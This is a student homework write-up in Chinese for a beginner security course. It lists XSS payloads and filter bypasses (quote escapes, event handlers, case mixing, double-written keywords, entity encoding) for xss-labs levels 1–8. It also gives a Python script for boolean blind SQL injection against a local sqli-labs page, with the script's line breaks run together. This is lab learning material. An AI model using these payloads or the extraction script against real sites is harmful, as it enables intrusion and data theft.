网络初级安全第二次作业
xss-labs 1到8关
第一关
我们发现,当我们更改name等于不同的值时,有不同的返回结果,因此在这里可能有xss漏洞
然后直接进行测试,在name后面加入xss攻击语句
<script>alert(1)</script>
第二关
观察到input标签里面的value元素可以尝试突破,逃出引号后,可以使用事件来闭合后面的引号,这里距离onclick事件,当点击输入框后,执行这个弹窗
"><script>alert(1)</script
第三关
1' onclick='alert(1)
第四关
用"闭合后插入
1" onclick="alert(1)
第五关
查看源码发现把<script>转换成了<scr_ipt>,把on转成了o_n,这俩不能用了,换个标签
1'"> <a href="javascript:alert(1)">"'test</a>
第六关
直接使用大小写绕过
1'"> <a HRef="javaSCRipt:alert(1)">"'test</a>
第七关
1'"> <a hrhrefef="javascrscriptipt:alert(1)">"'test</a>
双写了href和script
第八关
javascript:alert(1)
直接编码javascript:alert(1)为html实体编码
python实现自动化布尔自注的代码进行优化(二分查找)
import requests# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "# 推断数据库名的长度
def get_database_length():length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50: # 防止无限循环breakreturn 0# 使用二分查找推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):left, right = 0, len(charset) - 1while left <= right:mid = (left + right) // 2char = charset[mid]payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:left = mid + 1else:right = mid - 1db_name += charset[right]return db_name# 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")